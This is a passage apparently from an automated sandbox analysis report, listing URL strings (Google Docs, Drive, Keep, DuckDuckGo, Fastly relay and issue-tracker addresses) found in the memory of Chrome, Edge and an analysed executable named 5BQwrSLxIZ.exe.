Source: chrome.exe, 00000002.00000002.2309844553.0000279003488000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2301371654.00002790025C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/J
Source: chrome.exe, 00000002.00000003.2208824506.0000279003868000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/d/1z2sdBwnUF2tSlhl3R2iUlk7gvmSbuLVXOgriPIcJkXQ/preview29
Source: chrome.exe, 00000002.00000002.2310194857.00002790035F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/dogl
Source: chrome.exe, 00000002.00000002.2307388714.0000279002F80000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2309844553.0000279003488000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2310666950.0000279003C24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2301371654.00002790025C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/installwebapp?usp=chrome_default
Source: chrome.exe, 00000002.00000002.2310666950.0000279003C24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/installwebapp?usp=chrome_defaultP
Source: chrome.exe, 00000002.00000002.2307388714.0000279002F80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/installwebapp?usp=chrome_defaultlt
Source: chrome.exe, 00000002.00000002.2310194857.00002790035F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/njb
Source: chrome.exe, 00000002.00000002.2301743790.00002790026FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306748660.0000279002E84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2303388307.0000279002960000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000002.00000002.2301743790.00002790026FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306748660.0000279002E84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2303388307.0000279002960000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/forms/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000002.00000002.2301743790.00002790026FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306748660.0000279002E84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2303388307.0000279002960000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/forms/u/0/create?usp=chrome_actionsy
Source: chrome.exe, 00000002.00000002.2309995494.0000279003540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/
Source: chrome.exe, 00000002.00000002.2309844553.0000279003488000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2301371654.00002790025C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/:
Source: chrome.exe, 00000002.00000002.2303446371.000027900297C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2309844553.0000279003488000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2309673079.00002790033E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306748660.0000279002E84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2301371654.00002790025C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/?usp=installed_webapp
Source: chrome.exe, 00000002.00000002.2303446371.000027900297C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/?usp=installed_webapperx
Source: chrome.exe, 00000002.00000002.2309844553.0000279003488000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2301371654.00002790025C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/J
Source: chrome.exe, 00000002.00000002.2305746924.0000279002C9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2309844553.0000279003488000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2310666950.0000279003C24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2301371654.00002790025C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/installwebapp?usp=chrome_default
Source: chrome.exe, 00000002.00000002.2310666950.0000279003C24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/installwebapp?usp=chrome_defaultP
Source: chrome.exe, 00000002.00000002.2309995494.0000279003540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/ogl
Source: chrome.exe, 00000002.00000002.2309349709.00002790032E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2303960406.0000279002A54000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2301841693.000027900272C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2302432825.000027900280C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000002.00000002.2309995494.0000279003540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/
Source: chrome.exe, 00000002.00000002.2301371654.00002790025C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/:
Source: chrome.exe, 00000002.00000002.2305666767.0000279002C74000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306748660.0000279002E84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2301371654.00002790025C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/?usp=installed_webapp
Source: chrome.exe, 00000002.00000002.2301371654.00002790025C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/J
Source: chrome.exe, 00000002.00000002.2308692503.0000279003134000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2301371654.00002790025C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/installwebapp?usp=chrome_default
Source: chrome.exe, 00000002.00000002.2310666950.0000279003C24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/installwebapp?usp=chrome_defaultF
Source: chrome.exe, 00000002.00000002.2310666950.0000279003C24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/installwebapp?usp=chrome_defaultP
Source: chrome.exe, 00000002.00000002.2310666950.0000279003C24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/installwebapp?usp=chrome_defaultf
Source: chrome.exe, 00000002.00000002.2309995494.0000279003540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/ogl
Source: chrome.exe, 00000002.00000002.2309349709.00002790032E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2303960406.0000279002A54000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2301841693.000027900272C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2302432825.000027900280C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/u/0/create?usp=chrome_actions
Source: 5BQwrSLxIZ.exe, 5BQwrSLxIZ.exe, 00000000.00000003.2099802766.0000000004920000.00000004.00001000.00020000.00000000.sdmp, 5BQwrSLxIZ.exe, 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, 5BQwrSLxIZ.exe, 00000000.00000002.2754655975.0000000004840000.00000040.00001000.00020000.00000000.sdmp, 5BQwrSLxIZ.exe, 00000000.00000002.2771618992.000000006C901000.00000002.00000001.01000000.00000007.sdmp, chrome.dll.0.dr	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
Source: chromecache_98.4.dr	String found in binary or memory: https://domains.google.com/suggest/flow
Source: chrome.exe, 00000002.00000002.2301007326.000027900250C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: chrome.exe, 00000002.00000003.2177590988.00002790026CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: chrome.exe, 00000002.00000003.2177590988.00002790026CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: chrome.exe, 00000002.00000002.2301007326.000027900250C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-2.corp
Source: chrome.exe, 00000002.00000003.2177590988.00002790026CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: chrome.exe, 00000002.00000002.2301007326.000027900250C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-3.corp.googl
Source: chrome.exe, 00000002.00000003.2177590988.00002790026CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: chrome.exe, 00000002.00000002.2301007326.000027900250C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-4.c
Source: chrome.exe, 00000002.00000003.2177590988.00002790026CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: chrome.exe, 00000002.00000002.2301007326.000027900250C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-5.corp.go
Source: chrome.exe, 00000002.00000003.2177590988.00002790026CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: chrome.exe, 00000002.00000002.2301007326.000027900250C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: chrome.exe, 00000002.00000003.2177590988.00002790026CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: chrome.exe, 00000002.00000002.2301007326.000027900250C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-staging.corp.google.com/
Source: chrome.exe, 00000002.00000003.2188623753.0000279003494000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-thirdparty.googleusercontent.com/32/type/
Source: chrome.exe, 00000002.00000002.2301007326.000027900250C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306796698.0000279002E9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: chrome.exe, 00000002.00000002.2301371654.00002790025C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/:
Source: chrome.exe, 00000002.00000002.2302862780.00002790028C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2310194857.00002790035F0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2301371654.00002790025C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/?lfhs=2
Source: chrome.exe, 00000002.00000002.2310194857.00002790035F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/?lfhs=2ation.Result
Source: chrome.exe, 00000002.00000002.2310194857.00002790035F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/?lfhs=2d
Source: chrome.exe, 00000002.00000002.2301371654.00002790025C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/J
Source: chrome.exe, 00000002.00000002.2309476638.0000279003390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2309673079.00002790033E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306748660.0000279002E84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2301371654.00002790025C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/drive/installwebapp?usp=chrome_default
Source: chrome.exe, 00000002.00000002.2306654928.0000279002E58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?q=
Source: chrome.exe, 00000002.00000002.2306654928.0000279002E58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?q=searchTerms
Source: 5BQwrSLxIZ.exe, 00000000.00000003.2277997554.000000002345E000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306654928.0000279002E58000.00000004.00000800.00020000.00000000.sdmp, CBAKFCBF.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 5BQwrSLxIZ.exe, 00000000.00000003.2277997554.000000002345E000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306654928.0000279002E58000.00000004.00000800.00020000.00000000.sdmp, CBAKFCBF.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: chrome.exe, 00000002.00000002.2306654928.0000279002E58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.ico
Source: 5BQwrSLxIZ.exe, 00000000.00000003.2277997554.000000002345E000.00000004.00000020.00020000.00000000.sdmp, CBAKFCBF.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_94.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_94.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_94.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_94.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: chrome.exe, 00000002.00000003.2211875200.000027900394C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/
Source: chrome.exe, 00000002.00000003.2209632738.0000279003E64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2209697983.0000279003E74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/$
Source: chrome.exe, 00000002.00000003.2209632738.0000279003E64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2209697983.0000279003E74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/(
Source: chrome.exe, 00000002.00000003.2209632738.0000279003E64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2209697983.0000279003E74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com//
Source: chrome.exe, 00000002.00000003.2209632738.0000279003E64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2209697983.0000279003E74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/1
Source: chrome.exe, 00000002.00000003.2208824506.0000279003868000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2210732916.00003A6C00974000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2174133901.00003A6C0071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/2J
Source: chrome.exe, 00000002.00000003.2209632738.0000279003E64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2209697983.0000279003E74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/5
Source: chrome.exe, 00000002.00000003.2209632738.0000279003E64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2209697983.0000279003E74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/7
Source: chrome.exe, 00000002.00000003.2209632738.0000279003E64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2209697983.0000279003E74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/8
Source: chrome.exe, 00000002.00000003.2209632738.0000279003E64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2209697983.0000279003E74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/:
Source: chrome.exe, 00000002.00000003.2209632738.0000279003E64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2209697983.0000279003E74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/G
Source: chrome.exe, 00000002.00000003.2211847886.0000279003948000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2211875200.000027900394C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/H
Source: chrome.exe, 00000002.00000003.2211847886.0000279003948000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2211875200.000027900394C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/J
Source: chrome.exe, 00000002.00000003.2209632738.0000279003E64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2209697983.0000279003E74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/M
Source: chrome.exe, 00000002.00000003.2211847886.0000279003948000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2211875200.000027900394C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/O
Source: chrome.exe, 00000002.00000003.2209632738.0000279003E64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2209697983.0000279003E74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/P
Source: chrome.exe, 00000002.00000003.2211847886.0000279003948000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2211875200.000027900394C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/Q
Source: chrome.exe, 00000002.00000003.2211847886.0000279003948000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2211875200.000027900394C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/T
Source: chrome.exe, 00000002.00000003.2209632738.0000279003E64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2209697983.0000279003E74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/V
Source: chrome.exe, 00000002.00000003.2211847886.0000279003948000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2211875200.000027900394C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/Y
Source: chrome.exe, 00000002.00000003.2209632738.0000279003E64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2209697983.0000279003E74000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2211847886.0000279003948000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2211875200.000027900394C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/c
Source: chrome.exe, 00000002.00000003.2211847886.0000279003948000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2211875200.000027900394C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/e
Source: chrome.exe, 00000002.00000003.2209632738.0000279003E64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2209697983.0000279003E74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/f
Source: chrome.exe, 00000002.00000003.2211847886.0000279003948000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2211875200.000027900394C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/h
Source: chrome.exe, 00000002.00000003.2209632738.0000279003E64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2209697983.0000279003E74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/l
Source: chrome.exe, 00000002.00000003.2211847886.0000279003948000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2211875200.000027900394C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/m
Source: chrome.exe, 00000002.00000003.2211847886.0000279003948000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2211875200.000027900394C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/p
Source: chrome.exe, 00000002.00000003.2209632738.0000279003E64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2209697983.0000279003E74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/s
Source: chrome.exe, 00000002.00000003.2211847886.0000279003948000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2211875200.000027900394C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/w
Source: chrome.exe, 00000002.00000003.2209632738.0000279003E64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2209697983.0000279003E74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/y
Source: chrome.exe, 00000002.00000003.2211847886.0000279003948000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2211875200.000027900394C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/z
Source: chrome.exe, 00000002.00000002.2315393397.00003A6C00920000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2209632738.0000279003E64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2209697983.0000279003E74000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2211847886.0000279003948000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2211875200.000027900394C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/
Source: chrome.exe, 00000002.00000003.2208824506.0000279003868000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2210732916.00003A6C00974000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2174133901.00003A6C0071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/2P
Source: chrome.exe, 00000002.00000003.2214109275.0000279003B14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2214231275.0000279003B18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2214394053.0000279003B24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2214340269.0000279003B1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2214367502.0000279003B20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-safebrowsing.fastly-edge.com/
Source: chrome.exe, 00000002.00000003.2208824506.0000279003868000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-safebrowsing.fastly-edge.com/b
Source: chrome.exe, 00000002.00000002.2299187054.000027900220C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2300335124.00002790023D4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000002.2304995182.00000CC402594000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com/
Source: chrome.exe, 00000002.00000002.2300335124.00002790023D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com/googleapis.com
Source: chrome.exe, 00000002.00000002.2302596620.0000279002860000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://googleusercontent.com/
Source: chrome.exe, 00000002.00000003.2208824506.0000279003868000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://goto.google.com/sme-bugs27
Source: chrome.exe, 00000002.00000003.2208824506.0000279003868000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://goto.google.com/sme-bugs2e
Source: msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/161903006
Source: msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/166809097
Source: msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/184850002
Source: msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/187425444
Source: msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/220069903
Source: msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/229267970
Source: msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/250706693
Source: msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/253522366
Source: msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/255411748
Source: msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/258207403
Source: msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/274859104
Source: msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/284462263
Source: msedge.exe, 00000006.00000003.2295288296.00000CC40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/issues/166475273
Source: chrome.exe, 00000002.00000002.2301743790.00002790026FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306748660.0000279002E84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2303388307.0000279002960000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTE
Source: chrome.exe, 00000002.00000002.2301743790.00002790026FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2306748660.0000279002E84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2303388307.0000279002960000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTEkly
Source: chrome.exe, 00000002.00000003.2174133901.00003A6C0071C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2305560950.0000279002C28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2
Source: chrome.exe, 00000002.00000003.2209657844.0000279003E48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard
Source: chrome.exe, 00000002.00000003.2210732916.00003A6C00974000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2174133901.00003A6C0071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard2
Source: chrome.exe, 00000002.00000002.2315312589.00003A6C00904000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard:l
Source: chrome.exe, 00000002.00000002.2314327726.00003A6C00238000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard:l$
